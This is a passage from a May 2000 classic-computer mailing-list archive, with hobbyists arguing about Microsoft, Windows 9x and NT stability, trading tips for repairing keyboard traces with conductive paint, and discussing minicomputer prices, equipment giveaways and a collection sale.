of use or > understandability but thier underlying architectures are poorly designed > and prone to failure. > > >I don't see how that is particularly related to classic > >computers... > > These threads have everything to do with Classic computing as we have > been given the opportunity thereby to view the growth of many environments > and to compare them at thier various stages of growth. > > >Like the "Nuke Redmond" thread, which filled my mailbox with > >probably 100+ messages which I had no desire at all to even look at. It is > >really annoying to check your mail, have about 70-100 messages, and have > >about 80 or so be pure garbage like that. > > Fair enough. I anticipated more flames when I wrote that article than were > posted. I disagree that the original message and the threaded replies > were "pure garbage" or even impure garbage. Most of the 'replies' on that > thread had nothing to do with the original message which pertained to > Microsoft's disgusting habit of destroying people and companies rather > than competing decently. You are discussing topics with peers not morons. > We really know of what we speak. > > >Besides, not everyone dislikes Microsoft's products. I for one, like their products a >lot, I'm using Win 98SE right now, and our NT server has been running continuously for >about 4 years now, no crashes at all. > > I don't believe you have had a four year uptime with NT unless your NT box > is not connected to a network. At least admit you reboot the machine from > time to time. The best Uptime I have had on an NT machine is NT4 Terminal > Server which stayed up for six months without a reboot. I feel NT is a > qualified server OS but my particular circumstance is an NT machine with > little network activity. On other larger NT server networks I work on I > have to reboot the server as often as once per week to maintain decent > availability. I think it has to do with hash tables NT creates to deal > with high-demand network activity. My guess is NT does not deallocate the > ram allocated to these processes which eventually degrades network > performance to the degree that the admin must 'deallocate' this ram by > manually rebooting the server at intervals defined by the level of use the > server receives. > > As far as 95/98 is concerned, if you know anything about the underlying > foundation of an operating system you must admit that 95/98 is a horrible > kluge. I agree that 98 is much better than 95 in terms of stability but > neither will ever be a great operating system because thier foundation is > nonexistent. I liken 9x to an upside-down pyramid based the MSDOS > interrupt handler. > > I could imagine a 9x system being stable despite it's poor foundation if > that foundation were made of diamond. This would not be an estheticly > pleaseing operating system but it could be made stable if it's core were > very strong. My main objection to 9x is that application installs replace > core components with non-tested ones ( at least in that given > configuration ). In other words, each Windows machine is unique in it's > core configuration. This is a dangerous design approach and invites > nearly infinite opportunities for incompatabilities and general > instability. > > >And I do have experience with other OS's, I > >also run BeOS on my machine, I also run Solaris, Netware, VMS, RT-11, OS-32, > >Infoshare, CP/M, MacOS, UnixWare, and HP-UX. I'd say VMS is my favorite, > >BeOS is up there, same with UnixWare + Win 98, with Linux, Netware, > > Bully for you and I mean that. Experiencing other operating systems is a > tremendous learning tool. Ease of use is important but more important > still is stability. My guess - and only a guess is that you have not > actually run these alternate opertating systems in a production > environment and so cannot guage thier relative stability. > > >MacOS being my all-time least favorites. > > Macos is pretty stable but I'd have to agree with you that it's not very > pretty. It lacks a lot in terms of configurability that I look for in an > operating system. That opinion does not affect the fact that it has been > proven stable and users don't have to muck with it to make it work. > > >I wouldn't even consider running a > >Linux machine unless there was money in it for me ;p Anyway, I've now added > >some of what I hate, going against the entire message I was saying, but > >anyway, how about having the list a bit more on topic? > > I don't blame you. Linux is not ready for Prime Time on the desktop. It > lacks the level of user-pretties and network configurability I would look > for in a desktop environment. My personal choice would be OS/2 for just > about everything desktop related. I wish IBM had the guts to market it. > > -- > ----------------------------------------------------------- > Jeffrey S. Worley > Technical Services > Who is General Failure and why is he reading my hard disk? > Technoid@Cheta.net > ----------------------------------------------------------- > From allisonp at world.std.com Sat May 6 09:28:15 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <003301bfb76a$8cc1f100$7464c0d0@ajp166> >I don't believe you have had a four year uptime with NT unless your NT box >is not connected to a network. At least admit you reboot the machine from >time to time. The best Uptime I have had on an NT machine is NT4 Terminal >Server which stayed up for six months without a reboot. I feel NT is a >qualified server OS but my particular circumstance is an NT machine with Well I have to live with three NT3.51 servers and reboots do occur but they are from power failures that exceed the UPS or when the fan on the cpu got noisey and needed replacing. Within it's limits it's ok. >little network activity. On other larger NT server networks I work on I >have to reboot the server as often as once per week to maintain decent >availability. I think it has to do with hash tables NT creates to deal One thing you have to watch for is "memory leaks" from things like ODBC drivers and the like that don't work right. We did have one drier that would take the server to it knees about every three days if we let it. the fix for that (kluge in my opine) was to stop that process every night and restart it. >with high-demand network activity. My guess is NT does not deallocate the >ram allocated to these processes which eventually degrades network >performance to the degree that the admin must 'deallocate' this ram by >manually rebooting the server at intervals defined by the level of use the >server receives. Driver with memory leak is the problem. >I could imagine a 9x system being stable despite it's poor foundation if >that foundation were made of diamond. This would not be an estheticly >pleaseing operating system but it could be made stable if it's core were >very strong. My main objection to 9x is that application installs replace >core components with non-tested ones ( at least in that given >configuration ). In other words, each Windows machine is unique in it's >core configuration. This is a dangerous design approach and invites >nearly infinite opportunities for incompatabilities and general >instability. Yep, lots of poor apps tend to really muck up the systems as they load old .dlls and other bad things. there are a million SPs for fixing core stuff that get trashed when you install something with copies of old DLLs. The above behavour is not limited to MS OSs but more common due to it's widespread use. >I don't blame you. Linux is not ready for Prime Time on the desktop. It >lacks the level of user-pretties and network configurability I would look It's got some things I like but I could not use it at work on the desktop as the average user there would not fare well (some have difficulty with win9x that is not OS fault!). >for in a desktop environment. My personal choice would be OS/2 for just >about everything desktop related. I wish IBM had the guts to market it. It's still not adaquate in my book. Any OS where the common user is the unix equivilent of superuser (root) by default or lack of protections is a problem in my book. The classic case is the other days when a user decided to copy a colder to the desktop... save for it was C:\WINDOWS. It did a lot of damage to that system. As sysadmin I'd rather see something like VMS where the user has their sandbox where they can trash and slash but the rest of the box is off limits. Right now the common OSs that can do that (more or less) are Unix and clones based on the unix model, WinNT and VMS. I'm sure there are others but, Win9x and MacOS, DOS and OS2/warp do not meet this criteria. Allison From technoid at cheta.net Sat May 6 10:54:55 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:32 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <200005061333.e46DXwr18305@admin.cgocable.net> Message-ID: <200005061559.LAA04228@lexington.ioa.net> In order to make fine traces with Nickel Print conductive paint I used paper matches. Yeah, the kind you light your Camels with. Cut the base of the match off at a 45' angle. This gives you a nice point and the paper holds enough paint to make a halfway decent brush. They are only good for a trace or two so have a full pack handy. I've used tape to cover the traces but when you peel the tape up you peel the traces with it. The scalpel approach works pretty well but leaves ugly traces and is hard to do once the paint is dry. I use the matches and the scalpel together in real-time so I'm scraping at wet paint. I learned this method fixing my Atari 130xe's keyboard. The overlay's were notorious for a bad paintjob. Even new overlays seem to last only five years or so at most before requiring some kind of fix. After about 13 years I finally broke down and bought new keyboards for all my 130's. So far so good but I still have a bottle of Nickel Print on hand for the eventual fix..... In <200005061333.e46DXwr18305@admin.cgocable.net>, on 05/06/00 at 11:54 AM, jpero@cgocable.net said: >> Date: Sat, 6 May 2000 07:45:59 GMT >> From: pete@dunnington.u-net.com (Pete Turnbull) >> To: classiccmp@classiccmp.org >> Subject: Re: HP calculator thermal printheads (HP82143, etc) >> Reply-to: classiccmp@classiccmp.org >> On May 6, 0:24, Tony Duell wrote: >> > On Fri May 5, 23:16, Pete Turnbull wrote: >> >> Ah. Given the thickness of the paint, painting tracks would be difficult, >> even with a good-quality fine brush. The only other suggestion I can think >> of, is to paint a wide strip, covering all 8 tracks, and then use a scalpel >> blade (and some patience) to gently scratch gaps between them. >Ugh, that is exact same thing what I did many times in my retired >compaq LTE 386s/20 on one of two keyboard cable. Is there a better >quality kind than this conductive paint I got? Then name one! >Wizard > >> -- >> >> Pete Peter Turnbull >> Dept. of Computer Science >> University of York >> >> -- ----------------------------------------------------------- Jeffrey S. Worley Technical Services Bits & Bytes Computer Services Inc. 1979B Hendersonville Road Asheville, NC 28803 828-684-8953 - voice 0900-1700 five days 828-687-9284 - 24hr fax Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From wilson at dbit.dbit.com Sat May 6 11:36:30 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <000701bfb76e$b7ab36c0$0400c0a8@winbook>; from edick@idcomm.com on Sat, May 06, 2000 at 09:21:09AM -0600 References: <200005060608.CAA08063@lexington.ioa.net> <000701bfb76e$b7ab36c0$0400c0a8@winbook> Message-ID: <20000506123630.A365@dbit.dbit.com> On Sat, May 06, 2000 at 09:21:09AM -0600, Richard Erlacher wrote: > I have to agree that I like > the Microsoft products, and that's because, unlike the offerings of > yesteryear, including those from Microsoft, the current generation does seem > to work quite adequately to meet my requirements. Well that works out nicely for you, but for many of the rest of us, M$ products are designed to solve problems we don't have, and totally fail to address the problems we *do* have. It's designed for the drooling masses *only*, it's absolutely not good for normal utility use by nerds. And even where there's overlap, the design decisions tend to be poor and the implementation even worse. I recently installed Win98SE in the hope that it would be more reliable for web browsing than Win98 was (on my machine, W98 was very flakey about connecting to the net, and the video driver ignored my settings and always ran in 640x480x16 mode), but the stupid thing has already locked up the machine several times while sitting totally idle. > ----- Original Message ----- [ followed by all 115 lines of a message that you weren't directly replying to ] For chrissake!!!!! John Wilson D Bit From allisonp at world.std.com Sat May 6 10:42:25 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 Message-ID: <004401bfb771$d832ab50$7464c0d0@ajp166> >I definitely have RX8E prints so if you don't already, let me know if you >want a copy. There's not much to the board at all, the parts that actually >*do* anything are dwarfed by the drivers/receivers/selection stuff. I can't seem to find the ones I thought I had. If you could copy them that would be a help. At some point I want to do an IDE to omnibus interface, looks pretty simple if one is a willing to take advantage of the 16 bit wide IDE data (yes it wastes 4bits per 16bit word). First thing I have to do is another 4k of core, the 4k I have is not quite enough to work in. The alternate is to make a RAM card using 32kx8 parts. Allison From hallsf at alfredtech.edu Sat May 6 12:45:08 2000 From: hallsf at alfredtech.edu (Scott F. Hall) Date: Sun Feb 27 18:51:32 2005 Subject: sun.motherload References: <003301bfb76a$8cc1f100$7464c0d0@ajp166> Message-ID: <39145A24.7979464@alfredtech.edu> Anyone interested in giving an immediate home to a bunch of Sun workstations? A college here in western NY state is ready to give a 470 server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone who will show up with a donation and truck to take them away. I believe they'd like a donation of $2,000 o.b.o. Contact angooddr@alfredtech.edu if interested. From af-list at wfi-inc.com Sat May 6 11:58:02 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:32 2005 Subject: sun.motherload In-Reply-To: <39145A24.7979464@alfredtech.edu> Message-ID: $80 each sounds like quite a bit for these machines... On Sat, 6 May 2000, Scott F. Hall wrote: > Anyone interested in giving an immediate home to a bunch of Sun > workstations? A college here in western NY state is ready to give a 470 > server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone > who will show up with a donation and truck to take them away. I believe > they'd like a donation of $2,000 o.b.o. Contact angooddr@alfredtech.edu > if interested. > From emu at ecubics.com Sat May 6 12:25:38 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> <000701bfb76e$b7ab36c0$0400c0a8@winbook> <20000506123630.A365@dbit.dbit.com> Message-ID: <001f01bfb780$1aac0040$5d01a8c0@p2350> ----- Original Message ----- From: John Wilson To: Sent: Saturday, May 06, 2000 10:36 Subject: Re: I wrote 'Nuke Redmond' > ... but for many of the rest of us, M$ > products are designed to solve problems we don't have, and totally fail > to address the problems we *do* have. It's designed for the drooling > masses *only*, it's absolutely not good for normal utility use by nerds. > And even where there's overlap, the design decisions tend to be poor and > the implementation even worse. BIG LOUD APPLAUSE ! cheers, emanuel From CLASSICCMP at trailing-edge.com Sat May 6 12:26:28 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 Message-ID: <000506132628.20200dea@trailing-edge.com> >First thing I have to do is another 4k of core, the 4k I have is not >quite enough to work in. The alternate is to make a RAM card >using 32kx8 parts. Ooh, two parts and you're done :-). (Sorry, couldn't resist. Of course most of the cost is getting the gold-plated fingers on the PCB, in my experience!) Tim. From xds_sigma7 at hotmail.com Sat May 6 12:56:22 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:32 2005 Subject: Market value of minicomputers... Message-ID: <20000506175622.20672.qmail@hotmail.com> Hmm.. So if common stuff like 11/35's are worth in excess of $6,000... does this mean I ought to start looking for a buyer for my extra Interdata 7/32C? Circa 1973, world's first 32-bit minicomputer, 750ns cycle, up to one meg of core, currently has 256k and 80MB of 14" winchester.. Far less common than an 11/35.. and more powerful too. And no, I'm not serious about selling it... since I didn't pay anything for it, I don't see how I could justify expecting to get money for it.. But that's my extra-weird opinion, one of those things that really isn't explainable or anything like that. Though I personally dislike the idea of them actually being *worth* something, the very fact that mini's have accquired value is a great help toward keeping them from being scrapped and vanishing from the earth... As for RK05's, I know a guy who can sell them for $5K each, but that doesn't mean I want to sell mine. I don't believe that all 11/34's were shipped with RL01/02's either, since mine is equipped with dual RK05's, which are both the same vintage as the machine. Also, if anyone wants an 8/A, complete and probably working, I saw a company who has one in inventory for like $500, far more than I'd pay, but if anyone's interested, e-mail me and I'd be happy to give you the info, and no, I have no relation to the company thats selling it nor do I stand to profit. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From ard at p850ug1.demon.co.uk Sat May 6 12:43:26 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 In-Reply-To: from "Mike Ford" at May 6, 0 02:41:44 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 435 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/5ce0237b/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:48:37 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <3.0.1.16.20000506103024.269705e6@mailhost.intellistar.net> from "Joe" at May 6, 0 10:30:24 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1478 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/415ff7ff/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:53:51 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 In-Reply-To: <001501bfb770$e10cdd00$fd83fea9@office> from "johnb" at May 6, 0 11:36:42 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 766 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/44b87284/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:31:16 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 In-Reply-To: <003601bfb6f9$c8923440$fd83fea9@office> from "johnb" at May 5, 0 09:24:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4431 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/c41f54eb/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:36:41 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005060845.ZM3073@indy.dunnington.u-net.com> from "Pete Turnbull" at May 6, 0 07:45:59 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 960 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/d134ca59/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:41:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 In-Reply-To: <20000506035428.A32193@dbit.dbit.com> from "John Wilson" at May 6, 0 03:54:28 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1440 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/dc5eea7b/attachment.ksh From xds_sigma7 at hotmail.com Sat May 6 13:25:14 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <20000506182514.65578.qmail@hotmail.com> Just to make this clear... I was not even trying to say in any way, shape, or form that microsoft products are "perfect" or the best or anything like that. I would find it hard to believe any app with more than oh 20 or so (arbitrary figure) lines of code can possibly be perfect... that's why stuff like Sun saying "oh there's x thousand bugs in Win 2K" kinda irritates me, because there are probably about that many in Solaris also. Or in any complex O/S for that matter. Heck, even IBM admitted that there were bugs in OS/390 recently, and that's a pretty staggering thing for IBM to admit that one of their mainframe operating systems has bugs... While I agree with people who say we deserve bug-free software, I am realistic enough to understand that bug-free software is a pretty impossible goal.. I'm happy if the vendor has the guts to admit when there are problems and then go and fix them... That's one of the things that DEC always had going for them, was that they were good at admitting problems and then fixing them. And there aren't any operating systems around without bugs.. Finally, the main reason I use microsoft products on my PC is that they support about every strange, random peripheral that I can pull out of some dusty cranny in the warehouse and the damn thing will actually WORK! This of course is also one of the reasons for a lot of the various problems that can occur, but I think if you're expecting total perfection on a PC, you're not being realistic. The very nature of windows, linux, and any other PC operating system works against reliability. What I mean is that the hardware and software are not from the same vendor, so they aren't nearly as tightly integrated as they could be. That's why VMS for example is much more robust than windows... DEC designed the hardware, built the hardware, then wrote the operating system to work as closely as possible with the hardware. And because they built + designed the hardware in-house, they naturally had a far better idea of how it all worked and how to make the operating system fully utilize the hardware. And finally, for the record, the reason I dislike MacOS is not because its unreliable, its just because I hate how difficult it makes it to unistall programs and to add drives for new hardware. And I know that I might just not know something important, but I did RTFM and read about everything on Apple's website, so please don't think I'm just Apple-bashing. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From xds_sigma7 at hotmail.com Sat May 6 13:33:41 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:32 2005 Subject: Space exploration stuff (with an old computer tie-in) Message-ID: <20000506183341.90962.qmail@hotmail.com> Hmm... While everyone is mentioning all these musuems that feature things like an Apollo capsule, etc. I had to wonder if there are any musuems which contain an Agena space vehicle (could be misspelled) or some kind of Skylab mock-up. I'm asking because my dad wrote some of the programs which ran Skylab, and he helped design the Agena space vehicle, back in the late 60's when he worked for Lockheed Missiles and then Martin Marietta. He used a CDC-3400 at Lockheed and a CDC-6500 (I believe, 6000 series at any rate) at Martin... When I first got interested in old computers I heard more than a few stories about SCOPE and COMPASS, and SNOBOL, though he used SNOBOL in 1970 at Tymshare on the SDS 940 and later on the XDS Sigma 7. He also did COMPASS programming on CSU's CDC-6600 in 1972, which they used to teach assembly language programming. For all the DECheads on the list, he also worked on Tymshare's DECsystem-10's and 20's when they were brand-new; they were what replaced the SDS 940. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mikeford at socal.rr.com Sat May 6 13:35:01 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <000701bfb76e$b7ab36c0$0400c0a8@winbook> References: <200005060608.CAA08063@lexington.ioa.net> Message-ID: What amazes me still are the people who look out into the streets of real world MS users and see people running wildly in circles on fire with exploding heads, then declare that MS isn't so bad. Failure to understand how and why MS has the market share that they do is also rather sad. What comes to mind is the poor baby monkey given a surrogate mother made of wire mesh that delivers strong electric shocks, yet the baby still clings to it. I am sure it will be looked back on as a curious point in history. From xds_sigma7 at hotmail.com Sat May 6 13:59:34 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <20000506185934.48228.qmail@hotmail.com> There's only one reason that MS has the market share they do, and it's quite simple: IBM. It works like this; 1)IBM comes up with the PC. 2)Asks MS to provide OS. 3)MS pays SCP to be able to port 86-DOS to the IBM PC, later buys rights to DOS, yadda yadda yadda. 4)The PC is cloned, and all of the PC clone makers come to MS and pay them to have the same OS as IBM. 5)Due to PC being far more succesful than anyone imagined, the PC market becomes quickly locked into MS software, since without it, you wouldn't have compatibility with old programs, etc. This is, of course, totally over-simplified, and could possibly be inaccurate about some of the minor points, but its the general reason. And of course, OS/2 really isn't an MS compititor, since IBM paid MS to write it and MS even sold it with their own name on it for a while. Amusingly, even after MS stopped making OS/2, they still sold MS LANManager, which requires OS/2. Heh. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From netsurfer_x1 at hotmail.com Sat May 6 14:03:15 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:51:32 2005 Subject: Space exploration stuff (with an old computer tie-in) Message-ID: <20000506190315.24931.qmail@hotmail.com> >Hmm... >While everyone is mentioning all these musuems that feature things like an >Apollo capsule, etc. I had to >wonder if there are any musuems which >contain an Agena >space vehicle (could be misspelled) or some kind of > >Skylab mock-up. I'm asking because my dad wrote some of >the programs >which ran Skylab, and he helped design the >Agena space vehicle, back in >the late 60's when he >worked for Lockheed Missiles and then Martin >Marietta. >He used a CDC-3400 at Lockheed and a CDC-6500 (I >believe, 6000 >series at any rate) at Martin... When I >first got interested in old >computers I heard more than >a few stories about SCOPE and COMPASS, and >SNOBOL, >though he used SNOBOL in 1970 at Tymshare on the SDS 940 >and >later on the XDS Sigma 7. He also did COMPASS >programming on CSU's >CDC-6600 in 1972, which they used >to teach assembly language programming. >For all the >DECheads on the list, he also worked on Tymshare's > >DECsystem-10's and 20's when they were brand-new; they >were what >replaced the SDS 940. > >Will J Well, I know that Space Center Houston/JSC in Houston has a mock-up (not quite life size) of Skylab. A bit of trivia: the Skylab itself was really nothing more than a Saturn 5 Third Stage that had been fitted with all the equipment. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From jeff.kaneko at juno.com Sat May 6 14:02:52 2000 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 18:51:32 2005 Subject: "Investment Grade" Classic Computers Message-ID: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> Guys: I'm faced with a dilemma, and I'm polling for opinions. Some time ago, I swore I would never again publicly broadcast (via this ML) ads for computers that could be considered "Investment Grade". Those of you who have been around long enough know what I'm talking about; a machines that tend to fetch an obscene amount of money, despite the general opinion that they really aren't worth that much. The general objection is that such sales unreasonably inflates the co$t of our hobby, so we can't afford it anymore. The dilemma is this: A friend of mine has such an "Investment Grade" machine; and he wants to sell it to the highest bidder . Now I'm faced with two bad choices: Put it up on e-bay, or post it to this forum. I dislike e-bay for what it did to our hobby. I'm not comfortable posting it here, because I have a deep respect for the collectors/hobbyists here (of all stripes), and their opinions on the effects commercialization has had on our hobby (not to mention my own conscience). My friend *specifically* requested I post the ad here, as he was quite pleased with the result, previously. I will only do this if you guys feel this is the appropriate thing for me to do: I post the description, interested parties submit bids, *OFF LIST*. What say you all? Thanks. Jeff ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From jim at calico.litterbox.com Sat May 6 14:25:10 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:32 2005 Subject: "Investment Grade" Classic Computers In-Reply-To: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> from "jeff.kaneko@juno.com" at May 06, 2000 02:02:52 PM Message-ID: <200005061925.NAA26189@calico.litterbox.com> First of all, IMHO there is no such thing as "investment" grade collectable anything. If you want an investment, buy stock. What you're describing would better be described as "scalper grade." Second, if your friend is so keen to advertise to this list, I'd suggest having him join it. Then he can advertise his scalper grade computer and if it offends people, he can take his lumps. Third, I would never buy anything on a net auction not run by a reputable auction house - ebay, egghead, etc. They may have resulted in our hobby's prices getting inflated, but they offer you some protections from outright fraud, favoritism, etc. > My friend *specifically* requested I post the ad here, > as he was quite pleased with the result, previously. I > will only do this if you guys feel this is the appropriate > thing for me to do: I post the description, interested > parties submit bids, *OFF LIST*. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From af-list at wfi-inc.com Sat May 6 15:28:52 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:32 2005 Subject: Equipment Available Message-ID: Hi all, With no small amount of regret, I am liquidating most of my collection in order to focus my attention on a personal matter which is going to require 100% of my time and energy. Thank you all for the sense of community and spirit of comradery here for the past few years. I'm hope to still hang around here and there (VCF, I'll be there!) but will not be actively collecting. Believe me, this decision was not made lightly. My classic computing page will remain as it is, and the list archives will remain there, as will the documentation that I've already scanned. As far as current transactions, I will complete them as soon as possible (Sorry Rich, others). Especially the couple of people that I still owe shipping to, I'm trying to get my ass in gear here... Ok, on to the good stuff. I will ship small items and books, anything more than a few pounds will only be available to someone who wants to pick it up in Glendora, CA or pay to have mailboxes etc pack and ship it. Books (cost is 1.5 x shipping amount): --------------------------------------------------------- Apple II Applesoft Basic Programmers Reference Manual The BASIC Handbook, David Lien Technical Aspects of Data Communication, Digital Press Inside the IBM PC, Peter Norton Problem Solving Principles for Basic Programmers, William Lewis Fundamentals of Structured COBOL (School Textbook) COBOL Wizard (School Textbook) PASCAL, Academic Press (School Textbook) The PASCAL Handbook, Sybex Pascal User Manual and Report, School Text The Debugger's Handbook - Turbo Pascal, McKelvey PASCAL, Findlay and Watt (School Text) UCSD Pascal, (School Text) Elementary Pascal (School Text) Oh! Pascal! (School Text) Turbo Pascal version 3.0 Reference Manual, Borland Introduction to Turbo Pascal, Sybex Turbo Toolbox Reference Manual, Borland DON'T! Or How To Care For Your Computer... Writing in the Computer Age, Fluegelman Soul of CP/M, Waite CP/M Assembly Language Programming, Barbier CP/M and the Personal Computer, Dwyer CP/M Word Processing 68000 Assembly Language Programming, Leventhal Programming in Assembly Language: Macro-11, Sowell Electronic Data Processing, Irwin (1961!) MP and Periph. Handbook, vII - Peripheral, Intel Corp. MC68020 32-bit MP User's Manual A couple of PDP Handbooks that I can't find right now...(1981-ish) Some Micro PDP Docs (look at www.retrobytes.org - I think they're all there) Computer Systems (Free to good homes, pick-up only): --------------------------------------------------------- 6' Rack - VERY Sturdy Incomplete PDP 11/20 - 3 cabinets (Possibly spoken for) Plessey 11/23+ compat (MicroII) - rack-mount w/2 RX01's, external twin RX02 rack unit, Power Control unit (rackmount) HP3000/37 (Micro3000XE) w/2 drives (3 units total, size of double file cabinet each), 9-track 1/2inch tape drive, dot-matrix printer/cabinet, Y2K MPE FOS tapes. A bunch of 9-track tapes with it. Kaypro IV Broken Atari 800 w/2 broken 810 drives (I know, garbage). Atari 1027 printer with gummy wheel. CX-80 keypad. Maybe an 835 modem. Cadnetix Server, Sperry 286 terminal for it, ethernet cable, monitor, kbd/mouse, Cipher 9-track drive, tons of docs (PLEASE SAVE THIS ONE! I'll hold it for years if I have to, but I don't want to.) Michael Grigoni has priority on this, if he wants any of it... Mac LCII, no HD, kbd/mouse,ram. W/Mono monitor. Other stuff (asking price indicated, make any offer:) --------------------------------------------------------- *The reason I have a few dollars as an asking price is that I either paid real money for the item, or it's something that I'd like to see go to someone who really wants/needs it.) SWP ATR8000 - CP/M computer or serial/parallel interface w/print buffer for Atari Computers - asking $50 Dilog SQ706A QBUS SCSI Card - $25 Emulex TC03 QBUS Pertec Controller - $10 DSD MFM QBUS Card - 1.5 x shipping DEC DEQNA Ethernet Card w/cable and manual - $10 DEC M8043 Serial Card - 1.5 x shipping DEC 11/73 CPU w/FPU - $10 DEC RQDX3 w/manual - $10 RT-11 v5.4B on RX50 floppy, complete distro - $10 OK, that's it for round one. After I sort out this mess, I'm sure lots more stuff will come trickling down... Cheers, Aaron From kstumpf at unusual.on.ca Sat May 6 15:28:16 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:51:32 2005 Subject: "Investment Grade" Classic Computers - why are we still complaining? References: <200005061925.NAA26189@calico.litterbox.com> Message-ID: <001101bfb799$9ede20a0$3780b7d1@kstumpf> So OK, I started writing A Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique in 1996, published it in 1998 and am now working on 2nd edition. In 1996 it was apparent to me, and lots of other people, that what is currently taking place would take place and probably as fast as it did (and we didn't know about ebay then). In the book I use the evolution of car collecting as the model that our hobby would naturally follow, and it appears that it has. I'm no genius and fellow collectors, you are not fools, this just happened. The investment value (yes collectible computers will increase in value) happened faster with computers than cars because we live in a networked society, but it was inevitable. Please everyone stop talking and complaining about the fact old computers are being purchased and sold. There are still many incredible finds out there, go and get them. Most are still free for the taking. Seek and ye shall find and stop wasting bandwidth with complaints. You can't change it. Please post the description of your buddy's system. Yours in good faith. Kevin Stumpf - The Nostalgic Technophile www.unusual.on.ca - 519.744.2900 EST/EDT (GMT - 5) Author & Publisher of The Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique From af-list at wfi-inc.com Sat May 6 15:35:18 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:32 2005 Subject: Stragglers to that last post... Message-ID: I forgot the following, pick-up only: Sparc 1 - free SparcPrinter - free (2) Sun 3/50's, 1 working w/12 megs ram, one flat and one dimple top, 1 kbd/mouse set - free Sun type 5 keyboard - $10 Sun Type 4 mouse ("sticky") - $5 Thanks, Aaron From allisonp at world.std.com Sat May 6 14:23:31 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:32 2005 Subject: value of RK05 Message-ID: <00bf01bfb796$134c5410$7464c0d0@ajp166> >>First thing I have to 